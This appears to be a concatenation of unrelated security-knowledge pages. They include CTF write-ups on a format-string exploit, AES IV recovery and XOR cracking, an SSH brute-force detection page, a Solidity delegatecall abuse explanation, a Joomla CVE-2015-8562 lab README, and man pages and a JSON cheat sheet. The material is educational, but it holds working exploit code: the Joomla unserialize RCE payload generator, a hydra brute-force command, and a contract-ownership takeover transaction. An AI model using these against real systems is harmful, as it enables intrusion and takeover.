the value in hex format. We'll scan the stack using: ``` %0$s %1$s ... ``` Sometimes, the value on the stack can't be dereferenced as a string (the easiest example is the value of 0x0, which is also NULL). However, we don't mind, that isn't our flag pointer and even if the program crashes, we'll move on to our next attempt. The script: ```python # First, generate a pwntools template using: # pwn template --host 2019shell1.picoctf.com --user dvdalt --path /problems/stringzz_2_a90e0d8339487632cecbad2e459c71c4/vuln #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: i386-32-little # RELRO: Full RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled import os if shell is not None: shell.set_working_directory(os.path.dirname(remote_path)) index = 0 while True: log.info("Trying index {}".format(index)) with context.local(log_level='ERROR'): io = start() io.sendlineafter("input whatever string you want; then it will be printed back:\n", "%{}$s".format(index)) res = io.recvall() if "picoCTF" in res: log.success(res) break index += 1 ``` Output: ```console root@kali:/media/sf_CTFs/pico/stringzz# python exploit.py [*] '/media/sf_CTFs/pico/stringzz/vuln' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.hGOzj1x5Fr' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/stringzz_2_a90e0d8339487632cecbad2e459c71c4' [*] Trying index 0 [*] Trying index 1 [*] Trying index 2 [*] Trying index 3 [*] Trying index 4 [*] Trying index 5 [*] Trying index 6 [*] Trying index 7 [*] Trying index 8 [*] Trying index 9 [*] Trying index 10 [*] Trying index 11 [*] Trying index 12 [*] Trying index 13 [*] Trying index 14 [*] Trying index 15 [*] Trying index 16 [*] Trying index 17 [*] Trying index 18 [*] Trying index 19 [*] Trying index 20 [*] Trying index 21 [*] Trying index 22 [*] Trying index 23 [*] Trying index 24 [*] Trying index 25 [*] Trying index 26 [*] Trying index 27 [*] Trying index 28 [*] Trying index 29 [*] Trying index 30 [*] Trying index 31 [*] Trying index 32 [*] Trying index 33 [*] Trying index 34 [*] Trying index 35 [*] Trying index 36 [*] Trying index 37 [+] Now your input will be printed: picoCTF{str1nG_CH3353_166b95b4} ```
sec-knowleage
## AES (crypto, 200p) ### PL Version `for ENG version scroll down` Zadanie polegało na odzyskaniu wektora inicjalizacyjnego IV dla szyfru AES na podstawie znajomości wiadomości, części klucza oraz części zaszyfrowanego tekstu. Dane były przekazane za pomocą pomazanego zdjęcia kodu: ![](./q.png) Wynika z nich że dysponujemy: * Częścią klucza `5d6I9pfR7C1JQt` z brakującymi ostatnimi 2 bajtami * Wiadomością `The message is protected by AES!` * Fragmentem zaszyfrowanego tekstu `fe000000000000000000000000009ec3307df037c689300bbf2812ff89bc0b49` (przez 0 oznaczam padding nieznanych elementów) Pierwszy krokiem, po zapoznaniu się z zasadą działania szyfrowania AES w zadanej konfiguracji, było odzyskanie całego klucza. Warto zauważyć że nasza wiadomość stanowi 2 bloki dla szyfru, każdy po 16 bajtów: The message is p rotected by AES! A szyfrowanie odbywa się blokami, więc nasz zaszyfrowany tekst także możemy podzielić na bloki: fe000000000000000000000000009ec3 307df037c689300bbf2812ff89bc0b49 Do szyfrowania pierwszego bloku AES używa wektora IV oraz klucza, ale do szyfrowania kolejnego bloku użyty jest tylko poprzedni zaszyfrowany blok oraz klucz. Dodatkowo szyfrowane odbywa się bajt po bajcie co oznacza, że deszyfrowanie 1 bajtu 2 bloku wymaga znajomości jedynie klucza oraz 1 bajtu 1 bloku. To oznacza, że dla danych: XX000000000000000000000000000000 YY000000000000000000000000000000 Deszyfrowanie za pomocą poprawnego klucza pozwoli uzyskać poprawnie odszyfrowany 16 bajt wiadomości (licząc od 0), niezależnie od wektora IV. W związku z tym próbujemy przetestować wszystkie możliwości ostatnich 2 znaków klucza, sprawdzając dla których deszyfrowany tekst zawiera odpowiednie wartości w drugim bloku na pozycjach na których w pierwszym bloku mamy ustawione poprawne wartości (pierwszy bajt oraz dwa ostatnie): KEY = "5d6I9pfR7C1JQt" IV = "0000000000000000" def valid_key(correct_bytes, decrypted): for byte_tuple in correct_bytes: if decrypted[byte_tuple[0]] != byte_tuple[1]: return False return True def break_key(key_prefix, encoded_message_part, correct_bytes): final_key = "" encrypted = encoded_message_part for missing1 in range(0, 256): key = key_prefix + chr(missing1) for missing2 in range(0, 256): real_key = key + chr(missing2) decrypted = decrypt(real_key, IV, binascii.unhexlify(encrypted)) if valid_key(correct_bytes, decrypted): final_key = real_key return final_key real_key = break_key(KEY, "fe000000000000000000000000009ec3307df037c689300bbf2812ff89bc0b49", [(16, "r"), (30, "S"), (31, "!")]) Uzyskujemy w ten sposób klucz: `5d6I9pfR7C1JQt7$` Wektor IV którego poszukujemy służy do szyfrowania 1 bloku i opiera się na podobnej zasadzie jak szyfrowanie kolejnych bloków przedstawione wyżej - pierwszy bajt pierwszego bloku zależy od pierwszego bajtu wektora IV, drugi od drugiego itd. Żeby móc w takim razie odzyskać wektor IV potrzebujemy znać pierwszy blok zaszyfrowanej wiadomości. W tym celu stosujemy zabieg identyczny jak powyżej, ale tym razem próbujemy dopasować kolejne bajty zaszyfrowanego pierwszego bloku wiadomości, sprawdzając kiedy deszyfrowanie daje nam poprawnie deszyfrowany bajt z drugiego bloku: IV = "0000000000000000" message = "The message is protected by AES!" ciphertext = "" encrypted = "00000000000000000000000000000000307df037c689300bbf2812ff89bc0b49" data = binascii.unhexlify(encrypted) for position in range(16): # going through first block encrypted_sub = list(data) for missing in range(0, 256): encrypted_sub[position] = chr(missing) #encrypted message with single byte in first block set to tested value decrypted = decrypt(real_key, IV, "".join(encrypted_sub)) if decrypted[position + 16] == message[position + 16]: print("%d %d" % (position, missing)) print(decrypted[position + 16]) ciphertext += chr(missing) print(binascii.hexlify(ciphertext)) Co daje nam: `fe1199011d45c87d10e9e842c1949ec3` i jest to pierwszy zakodowany blok. Ostatnim krokiem jest odzyskanie wektora IV. Robimy to identycznym schematem, tym razem testujemy kolejne bajty wektora IV sprawdzając kiedy deszyfrowanie daje nam poprawnie odszyfrowane wartości z 1 bloku: iv_result = "" encrypted = "fe1199011d45c87d10e9e842c1949ec3" for position in range(16): iv = list(IV) for missing in range(0, 256): iv[position] = chr(missing) # IV with single byte set to tested value decrypted = decrypt(real_key, "".join(iv), binascii.unhexlify(encrypted)) if decrypted[position] == message[position]: print("%d %d" % (position, missing)) iv_result += chr(missing) print(iv_result) Co daje nam `Key:rVFvN9KLeYr6` więc zgodnie z treścią zadania flagą jest `TMCTF{rVFvN9KLeYr6}` ### ENG Version The task was to recover initialization vector IV for AES cipher based on knowledge of the message, part of the key and part of ciphertext. The data were proviede as a photo of crossed-out code: ![](./q.png) From this we can get: * Part of the key: `5d6I9pfR7C1JQt` with missing 2 bytes * Message: `The message is protected by AES!` * Part of ciphertext: `fe000000000000000000000000009ec3307df037c689300bbf2812ff89bc0b49` (0s in the first block are missing part) First step, after reading about AES in given configuration, was to extract the whole ciper key. It is worth noting that our message is separated into 2 blocks for this cipher, each with 16 bytes: The message is p rotected by AES! And the cipher works on blocks, so our ciphertext can also be split into blocks: fe000000000000000000000000009ec3 307df037c689300bbf2812ff89bc0b49 For encoding the first block AES uses IV vector and the key, but to encode second block only previous block and the key is used. On top of that the cipher works byte-by-byte which means that deciphering 1 byte of 2 block requires knowledge only of the key and of the 1 byte of 1 block. It means that for input: XX000000000000000000000000000000 YY000000000000000000000000000000 Deciphering usign a proper key will give us properly decoded 16th byte (counting from 0), regardless of IV vector used. Therefore, we test all possible values for the missing 2 key characters, testing for which of them the decipered text has proper values in the second block on the positions where in the first block we have proper values (first byte and last two bytes): KEY = "5d6I9pfR7C1JQt" IV = "0000000000000000" def valid_key(correct_bytes, decrypted): for byte_tuple in correct_bytes: if decrypted[byte_tuple[0]] != byte_tuple[1]: return False return True def break_key(key_prefix, encoded_message_part, correct_bytes): final_key = "" encrypted = encoded_message_part for missing1 in range(0, 256): key = key_prefix + chr(missing1) for missing2 in range(0, 256): real_key = key + chr(missing2) decrypted = decrypt(real_key, IV, binascii.unhexlify(encrypted)) if valid_key(correct_bytes, decrypted): final_key = real_key return final_key real_key = break_key(KEY, "fe000000000000000000000000009ec3307df037c689300bbf2812ff89bc0b49", [(16, "r"), (30, "S"), (31, "!")]) This way we get the key: `5d6I9pfR7C1JQt7$` IV vector we are looking for is used to encode 1 block and it is used on the same principle as encoding next blocks decribed above - encoded 1 byte of 1 block depends on 1 byte of 1 block of IV vector, 2 depends on 2 etc. Therefore, to be able to get the IV vector we need to know the whole first encoded block. To get it we use a very similar approach as the one we used to get the key, but this time we test bytes of the encoded 1 block, checking which value after decoding gives us properly decoded byte from 2 block: IV = "0000000000000000" message = "The message is protected by AES!" ciphertext = "" encrypted = "00000000000000000000000000000000307df037c689300bbf2812ff89bc0b49" data = binascii.unhexlify(encrypted) for position in range(16): # going through first block encrypted_sub = list(data) for missing in range(0, 256): encrypted_sub[position] = chr(missing) #encrypted message with single byte in first block set to tested value decrypted = decrypt(real_key, IV, "".join(encrypted_sub)) if decrypted[position + 16] == message[position + 16]: print("%d %d" % (position, missing)) print(decrypted[position + 16]) ciphertext += chr(missing) print(binascii.hexlify(ciphertext)) Which gives us: `fe1199011d45c87d10e9e842c1949ec3` and this is the encoded 1 block. Last step is to recover IV vector. We use the same principle, this time testing IV vector bytes, checking when deciphering gives us properly decoded values from 1 block: iv_result = "" encrypted = "fe1199011d45c87d10e9e842c1949ec3" for position in range(16): iv = list(IV) for missing in range(0, 256): iv[position] = chr(missing) # IV with single byte set to tested value decrypted = decrypt(real_key, "".join(iv), binascii.unhexlify(encrypted)) if decrypted[position] == message[position]: print("%d %d" % (position, missing)) iv_result += chr(missing) print(iv_result) Which gives us: `Key:rVFvN9KLeYr6` so according to the task rules the flag is `TMCTF{rVFvN9KLeYr6}`
sec-knowleage
# Rot (Crypto) The only thing we have in this challenge is the base64-encoded ciphertext: ``` JwxTBxELMFxDRUoaFU8BBwkAZz0tNjciQkZFMhEzQlpeEgMSBlQjFEoQXQAGEBYGDytLEFxdGhJf UxYSRSg6YzQ8KkNGUDQKdl8fRQNMAxhVcRNdRBgLEx8MHRI2XFcRTBMEClIWAhA1PTcucyNWVUEy DCURDlkVV1E+SSMDTRddGwIXQxAPLFFfR10JBE4PUzMKJTExI3MTUkNUMBZ2fBVDBkoC ``` I dislike ciphertext-only challenges because to solve them you need to guess the algorithm, and it's neither practical nor fun. Not to mention that basing the difficulty of your cipher on secretness of your algorithm is a [well-known antipattern in cryptography](https://en.wikipedia.org/wiki/Kerckhoffs%27s_principle). After wasting way too much time on guessing, we have discovered the encryption algorithm. We know the beginning of the flag (flag format is `scsctf_2018{.......}`), and xoring it with the ciphertext: ```python import string def xor(a, b): return ''.join(chr(ord(ac) ^ ord(bc)) for ac, bc in zip(a, b)) data = 'JwxTBxELMFxDRUoaFU8BBwkAZz0tNjciQkZFMhEzQlpeEgMSBlQjFEoQXQAGEBYGDytLEFxdGhJfUxYSRSg6YzQ8KkNGUDQKdl8fRQNMAxhVcRNdRBgLEx8MHRI2XFcRTBMEClIWAhA1PTcucyNWVUEyDCURDlkVV1E+SSMDTRddGwIXQxAPLFFfR10JBE4PUzMKJTExI3MTUkNUMBZ2fBVDBkoC'.decode('base64') print xor(data, 'scsctf_2018{') ``` Yields `To demonstra` which looks like a beginning of an English sentence. If the data was xored with a completely random sequence of bytes, the scheme would be [provably secure](https://en.wikipedia.org/wiki/One-time_pad). But we expect the flag to be shorter than the whole ciphertext, so this turns into a [repeated key xor](https://en.wikipedia.org/wiki/XOR_cipher), a well-known weak cipher. We brute-forced few key lengths to discover the proper one, and found it: ```python ... def safe(x): return ''.join((c if 0x20 <= ord(c) < 0x7f else '.') for c in x) print safe(xor(data, ('scsctf_2018{' + '\x00' * 31) * 100)) ``` That code prints: ``` To demonstra.O....g=-67"BFE2.3BZ^....T#.J.]security mea._S..E(:c4<*CFP4.v_.E.L..Uq.]D.xploiting th..R...5=7.s#VUA2.%..Y.WQ>I#.M.]had discover.N.S3.%11#s.RCT0.v|.C.J. ``` Or, perhaps more clearly: ``` To demonstra.O....g=-67"BFE2.3BZ^....T#.J.] security mea._S..E(:c4<*CFP4.v_.E.L..Uq.]D. xploiting th..R...5=7.s#VUA2.%..Y.WQ>I#.M.] had discover.N.S3.%11#s.RCT0.v|.C.J. ``` How to get the rest of the plaintext (or, equivalently, the rest of the key)? We can guess plaintext words and update keys based on our guesses. In other words, we know that `ciphertext_byte = plaintext_byte ^ key_byte`. If we guess `plaintext_byte` correctly, we can recover `key_byte` and use it to decrypt other ciphertexts. For example, `security mea` sounds awfully like `security measures `. Decrypting the code with zero bytes on unknown positions yield `security mea\x12_S\x16\x12E...`. We know that this is supposed to be `security measures `. If we xor the two values together we get `\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00a*!sae` - the non-zero bytes are next bytes of our key. After updating our key and running the decryption again, we get: ``` To demonstrate theg=-67"BFE2.3BZ^....T#.J. security measures (:c4<*CFP4.v_.E.L..Uq.]De xploiting the secu5=7.s#VUA2.%..Y.WQ>I#.M. had discovered. Ro%11#s.RCT0.v|.C.J. ``` Now we can guess `security` in the third row, etc. After repeating this process for a few times, we recovered the whole plaintext: ``` To demonstrate the inadequacies of current security measures on computer networks by exploiting the security defects that I had discovered ``` And the flag/key: ``` scsctf_2018{a*!saeGTCWSG33$QxV1z1t#qs&Qq$d} ```
sec-knowleage
# T1110-003-linux-ssh爆破 ## 来自ATT&CK的描述 当密码未知时,攻击者可以使用暴力破解尝试获取访问帐户密码。攻击者在操作期间尝试暴力破解登录,这是一个风险较高的选项,因为它可能导致大量身份验证失败记录以及帐户锁定,账户锁定具体取决于所设置的登录失败策略。 通常,可以对使用常用端口上的服务进行密码喷射攻击。常见linux服务包括以下内容: - SSH(22/TCP) - Telnet(23/TCP) - FTP(21/ TCP) ## 测试案例 以下经典工具可用于端口爆破: - Hydra - Medusa - Patator - Brutepray - …… ## 检测日志 linux 系统日志(auth.log) linux audit日志 ## 测试复现 ```shell root@icbc:/hacker/mima# hydra -l root -P passwd.txt ssh://192.168.159.132 -V Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. ``` ## 测试留痕 auth.log ```log Failed password for root from 192.168.159.129 port 43728 ssh2 ``` audit.log ```log type=USER_AUTH msg=audit(1572163129.581:316): pid=2165 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct="root" exe="/usr/sbin/sshd" hostname=192.168.159.129 addr=192.168.159.129 terminal=ssh res=failed' ``` ## 检测规则/思路 ### sigma规则 ```yml title: linux下ssh暴力破解 description: Ubuntu18.04、kali references: tags: T1110-003 status: experimental author: 12306Bro logsource: product: linux service: auth.log/audit.log detection: keywords: - 'Failed password for * ssh2' #linux auth.log - '* exe="/usr/sbin/sshd" * terminal=ssh res=failed' #linux audit.log condition: keywords level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1110-003 <https://attack.mitre.org/techniques/T1110/003>
sec-knowleage
stat === 用于显示文件的状态信息 ## 补充说明 **stat命令** 用于显示文件的状态信息。stat命令的输出信息比ls命令的输出信息要更详细。 ### 语法 ```shell stat(选项)(参数) ``` ### 选项 ```shell -L:支持符号连接; -f:显示文件系统状态而非文件状态; -t:以简洁方式输出信息; --help:显示指令的帮助信息; --version:显示指令的版本信息。 ``` ### 参数 文件:指定要显示信息的普通文件或者文件系统对应的设备文件名。 ### 实例 ```shell [root@localhost ~]# ls -l myfile -rw-r--r-- 1 root root 0 2010-10-09 myfile [root@localhost ~]# stat myfile file: “myfile” Size: 0 Blocks: 8 IO Block: 4096 一般空文件 Device: fd00h/64768d Inode: 194805815 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2010-12-12 12:22:35.000000000 +0800 Modify: 2010-10-09 20:44:21.000000000 +0800 Change: 2010-10-09 20:44:21.000000000 +0800 [root@localhost ~]# stat -f myfile File: "myfile" id: 0 Namelen: 255 type: ext2/ext3 Block size: 4096 Fundamental block size: 4096 Blocks: Total: 241555461 free: 232910771 Available: 220442547 Inodes: Total: 249364480 Free: 249139691 [root@localhost ~]# stat -t myfile myfile 0 8 81a4 0 0 fd00 194805815 1 0 0 1292127755 1286628261 1286628261 4096 ```
sec-knowleage
### Android 逆向基本介绍 首先,我们需要明确一下 Android 逆向的目的: **希望分析出程序的功能** 。那么我们自然也就有两个方面(方法与对象)可以考虑 - 分析方法,可以采用以下方式 - 静态分析,对源代码进行逆向,然后阅读分析 - 动态分析,对代码进行动态调试,一般来说动态分析离不开静态分析。 - 分析对象,一般有以下两类对象 - java,层代码 - 原生层代码 不难看出,要想分析 Android 应用,基本的 java 层的知识与原生层的知识还是有必要掌握的。 目前来说,Android 逆向主要应用于以下几个方向 1. app 安全审查 2. 系统漏洞挖掘 3. 恶意代码杀查 4. 同行业产品技术原理分析 5. 移除安全机制
sec-knowleage
--- title: JSON date: 2021-09-14 18:26:55 background: bg-[#646464] tags: - config - format categories: - Programming intro: | This is a quick reference cheat sheet for understanding and writing JSON format configuration files. plugins: - copyCode --- Getting Started --------------- ### Introduction [JSON](https://json.org/) is a lightweight text-based open standard designed for human-readable data interchange. - JSON stands for JavaScript Object Notation - JSON is easy to read and write. - JSON is language agnostic data-interchange format - JSON filename extension is `.json` - JSON Internet Media type is `application/json` {.marker-round} ### Examples ```json { "name": "Jason", "age": 39, "height": 1.92, "gender": "M", "salary": 70000, "married": true, "children": [ {"name": "Tom", "age": 9, "gender":"M"}, {"name": "Ava", "age": 7, "gender":"F"} ] } ``` ### Types | Type | Description | |-----------|-----------------------------------------| | `Number` | Double precision floating-point | | `String` | Series of characters | | `Boolean` | `true` or `false` | | `Array` | Ordered sequence of values | | `Value` | String, Number, Boolean, null etc | | `Object` | Unordered collection of key/value pairs | | `null` | Null or Empty | ### String {.row-span-3} | | | |------|----------------------------| | `\"` | Double quote | | `\\` | Backslash | | `\/` | Forward slash | | `\b` | Backspace | | `\f` | Form feed | | `\n` | Newline | | `\r` | Carriage return | | `\t` | Tab | | `\u` | Trailed by four hex digits | #### Examples ```json {.wrap} { "url": "https://quickref.me", "msg" : "Hi,\n\"QuickRef.ME\"", "intro": "Share quick reference and cheat sheet for developers." } ``` #### Invalid String ```json { "foo": 'bar' } ``` Have to be delimited by double quotes ### Number {.row-span-2} | Type | Description | |------------|----------------------------------------| | `Integer` | Digits 1-9, 0 and positive or negative | | `Fraction` | Fractions like 0.3, 3.9 | | `Exponent` | Exponent like e, e+, e-, E, E+, E | #### Examples ```json { "positive" : 12, "negative" : -1, "fraction" : 10.25, "exponent" : 1.0E+2, "zero" : 0 } ``` #### Invalid Number ```json { "foo": 0xFF } ``` In JSON you can use only Decimal Literals ### Objects ```json { "color": "Purple", "id": "210", "composition": { "R": 70, "G": 39, "B": 89 }, "empty_object": {} } ``` Multiple key/value pairs separated by a comma ### Arrays ```json [1, 2, 3, 4, 5] ``` Begins with `[` and ends with `]` ### Array of objects ```json { "children": [ {"name": "Jimmy Smith", "age": 15}, {"name": "Sammy Sosa", "age": 12} ] } ``` ### Object of arrays ```json { "attributes": ["a1", "a2"], "methods": ["getter", "setter"], "empty_array": [] } ``` ### 2D Array ```json { "my_sequences": [ [1, 2, 3], [4, 5, 6], [7, 8, 9, 0], [10, 11] ] } ``` ### Object of objects ```json { "Mark McGwire": { "hr": 65, "avg": 0.278 }, "Sammy Sosa": { "hr": 63, "avg": 0.288 } } ``` ### Nested ```json { "Jack": { "id": 1, "name": "Franc", "salary": 25000, "hobby": ["a", "b"], "location": { "country": "A", "city": "A-A" } } } ``` Access JSON in JavaScript ------------------------- ### Access Object ```javascript let myObject = { "name": "Jason", "last": "Doe", "age": 39, "gender": "M", "salary": 70000, "married": true }; ``` ---- | | | |--------------------|-----------| | `myObject.name` | "Jason" | | `myObject["name"]` | "Jason" | | `myObject.age` | 39 | | `myObject.other` | undefined | | `myObject[0]` | undefined | ### Access Nested {.row-span-2} ```javascript let myObject = { "ref": { "name": 0, "last": 1, "age": 2, "gender": 3, "salary": 4, "married": 5 }, "jdoe": [ "Jason", "Doe", 39, "M", 70000, true ], "jsmith": [ "Tom", "Smith", 42, "F", 80000, true ] }; ``` ---- | | | |--------------------------|--------------------------| | `myObject.ref.age` | 2 | | `myObject["ref"]["age"]` | 2 | | `myObject.jdoe` | ["Jason", "Doe", 39 ...] | | `myObject.jsmith[3]` | "F" | | `myObject[1]` | undefined | ### Access Array of Objects {.row-span-2} ```javascript let myArray = [ { "name": "Jason", "last": "Doe", "age": 39, "gender": "M", "salary": 70000, "married": true }, { "name": "Tom", "last": "Smith", "age": 42, "gender": "F", "salary": 80000, "married": true }, { "name": "Amy", "last": "Burnquist", "age": 29, "gender": "F", "salary": 60000, "married": false } ]; ``` ---- | | | |---------------------|----------------------------| | `myArray[0]` | `{`"name": "Jason", ...`}` | | `myArray[1].name` | "Tom" | | `myArray[1][2]` | 42 | | `myArray[3]` | undefined | | `myArray[3].gender` | TypeError: Cannot read... | ### Access Array ```javascript let myArray = [ "Jason", "Doe", 39, "M", 70000, true ]; ``` ----- | | | |--------------|-----------| | `myArray[1]` | "Doe" | | `myArray[5]` | true | | `myArray[6]` | undefined | Also see -------- - [JSON](https://www.json.org/json-en.html) _(json.org)_ - [JSON Editor Online](http://jsoneditoronline.org/) _(jsoneditoronline.org)_ - [Convert JSON Array to Markdown Table, CSV and more](https://tableconvert.com/json-to-markdown) _(tableconvert.com)_
sec-knowleage
### Delegatecall三种调用函数 在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call、delegatecall 和 callcode 三种方式。 #### 调用模型 ``` <address>.call(...) returns (bool) <address>.callcode(...) returns (bool) <address>.delegatecall(...) returns (bool) ``` 这些函数提供了灵活的方式与合约进行交互,并且可以接受任何长度、任何类型的参数,其传入的参数会被填充至 32 字节最后拼接为一个字符串序列,由 EVM 解析执行。 在函数调用的过程中,Solidity 中的内置变量 `msg` 会随着调用的发起而改变,`msg` 保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。 #### 异同点 * call: 调用后内置变量 `msg` 的值会修改为调用者,执行环境为被调用者的运行环境 * delegatecall: 调用后内置变量 `msg` 的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约) * callcode: 调用后内置变量 `msg` 的值会修改为调用者,但执行环境为调用者的运行环境 !!! note Warning: "callcode" has been deprecated in favour of "delegatecall" ### Delegatecall 滥用 #### 设计初衷 * 函数原型 `<address>.delegatecall(...) returns (bool)` * 函数设计的目的是为了使用给定地址的代码,其他信息则使用当前合约(如存储、余额等) * 某种程度上也是为了代码的复用 #### 威胁分析 参考函数原型,我们知道,delegatecall 调用有 `address` 和 `msg.data` 两个参数 * 若 `msg.data` 可控,则可调用 `address` 处任意函数 ```solidity pragma solidity ^0.4.18; contract Delegate { address public owner; function Delegate(address _owner) public { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; function Delegation(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } function() public { if(delegate.delegatecall(msg.data)) { this; } } } ``` 对于这个例子,攻击者如何成为 owner 呢? 其实我们只需调用 Delegation 的假 `pwn()` 即可,这样就会触发 Delegation 的 `fallback`,这样 `pwn` 的函数签名哈希就会放在 `msg.data[0:4]` 了,这样就会只需 delegate 的 `pwn()` 把 owner 变成自己,如下所示即可(这就是因为 `msg.data` 可控导致的) ``` contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)}) ``` * 若 `msg.data` 和 `address` 都可控,则可调用任意 `address` 处的任意函数 同理,只不过额外加了 `address` 是可控的这个条件,不再作分析 #### 原因分析 ```solidity pragma solidity ^0.4.23; contract A { address public c; address public b; function test() public returns (address a) { a = address(this); b = a; } } contract B { address public b; address public c; function withdelegatecall(address testaddress) public { testaddress.delegatecall(bytes4(keccak256("test()"))); } } ``` 来看上面这个例子,假设合约 A 部署后地址为 address_a,合约 B 部署后地址为 address_b,使用 外部账户 C 调用 withdelegatecall(address_a),address_a 和 address_b 中的 b、c 变量分别是多少?结果如下 address_a 合约中,c = 0,b = 0;address_b 合约中,b = 0,c = address_b 修改的不是 B 合约中的 b 变量,而是修改了 B 合约中的 c 变量 sstore 即访存指令,可以看到写入的是 1 号存储位,1号存储位 在 B 合约中即对应变量 c,在 A 合约中则对应变量 b,所以事实上调用 delegatecall 来使用 Storage 变量时依据并不是变量名,而是变量的存储位,这样的话我们就可以达到覆盖相关变量的目的。
sec-knowleage
.\" -*- nroff -*- .\" Copyright (c) 1999, 2000 SuSE GambH Nuernberg, Germany .\" Author: Thorsten Kukuk <kukuk@suse.de> .\" .\" This program is free software; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of the .\" License, or (at your option) any later version. .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU .\" General Public License for more details. .\" .\" You should have received a copy of the GNU General Public .\" License along with this program; see the file COPYING. If not, .\" write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, .\" Boston, MA 02111-1307, USA. .\" .TH nscd.conf 5 1999-10 "GNU C Library" .SH NAME /etc/nscd.conf - 域名服务缓存守护进程配置文件 .SH "描述 DESCRIPTION" 该文件 .B /etc/nscd.conf 在启动 .BR nscd (8) 时读入。每一行或者指定一个属性和值,或者指定一个属性、服务和一个值。域之间通过 空格或者TAB分开。`#'表示注释的开始;在该字符之后到行的末尾将不会被nscd解释。 有效服务为passwd,group或者hosts。 .B logfile .I debug-file-name .RS 指定调试信息写入的文件名。 .RE .B debug-level .I value .RS 设置希望的调试级别。 .RE .B threads .I number .RS 这是启动的等待请求的线程数。最少将创建5个线程。 .RE .B server-user .I user .RS 如果设置了该选项,nscd将作为该用户运行,而不是作为root。如果每个用户都使用一个 单独的缓存(-S参数),将忽略该选项。 .RE .B enable-cache .I service .I <yes|no> .RS 启用或禁用制定的 .I 服务 缓存。 .RE .B positive-time-to-live .I service .I value .RS 设置 .IR service 在指定缓存中正的项目(成功的请求)的TTL(存活时间)。 .I Value 以秒为单位。较大的值将增加缓存命中率从而减低平均响应时间,但是将增加缓存的一致 性问题。 .RE .B negative-time-to-live .I service .I value .RS 设置 .IR service 在指定缓存中负的项目(失败的请求)的TTL(存活时间)。 .I Value 以秒为单位。如果存在由不在系统数据库中的uid(用户ID)(例如在以root身份解包linux 内核源代码时)所拥有的文件将明显改善性能;应该维持较小的值以降低缓存一致性问题。 .RE .B suggested-size .I service .I value .RS 这是内部散列表的大小, .I value 应该保持一个素数以达到优化效果。 .RE .B check-files .I service .I <yes|no> .RS 启用或禁用检查属于指定 .I 服务 的文件的改变。这些文件是 .IR /etc/passwd, .IR /etc/group, 以及 .IR /etc/hosts。 .RE .SH "参见" .BR nscd (8) .SH "作者" .B nscd 由Thorsten Kukuk和Ulrich Drepper完成。 .SH "[中文版维护人]" .B 梁萌 <mengliang99@sohu.com> .SH "[中文版最新更新]" .BR 2002/5/18 .SH "[中国linux论坛man手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
# Joomla HTTP Header Unauthenticated Remote Code Execution (CVE-2015-8562) [中文版本(Chinese version)](README.zh-cn.md) Joomla is a free and open-source content management system (CMS) that allows users to build websites and online applications. It was first released in 2005 and has since become one of the most popular CMS platforms, powering millions of websites around the world. Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an 4-bytes UTF-8 character. The custom created payload is then executed once the session is read from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. References: - <https://packetstormsecurity.com/files/134949/Joomla-HTTP-Header-Unauthenticated-Remote-Code-Execution.html> - <https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html> ## Vulnerable Environment Executing following command to start a Joomla 3.4.5: ``` docker compose up -d ``` After the server is started, you can see the home page of it at `http://your-ip:8080`. ## Exploit First of all, you need to send a request without User-Agent header and remember the Cookie in the response: ![](2.png) Then use this script to generate a payload ([execute online](https://onlinephp.io/c/e824b)): ```php <?php class JSimplepieFactory { } class JDatabaseDriverMysql { } class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url; function __construct() { $this->feed_url = "phpinfo();JFactory::getConfig();exit;"; $this->javascript = 9999; $this->cache_name_function = "assert"; $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; } } class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection; function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = 1; $this->disconnectHandlers = [ [$x, "init"], ]; } } $a = new JDatabaseDriverMysqli(); $poc = serialize($a); $poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc); echo "123}__test|{$poc}\xF0\x9D\x8C\x86"; ``` ![](1.png) Put this craft payload into User-Agent header with Cookie obtained earlier then send request again. As you can see, our code `phpinfo()` is executed: ![](3.png)
sec-knowleage
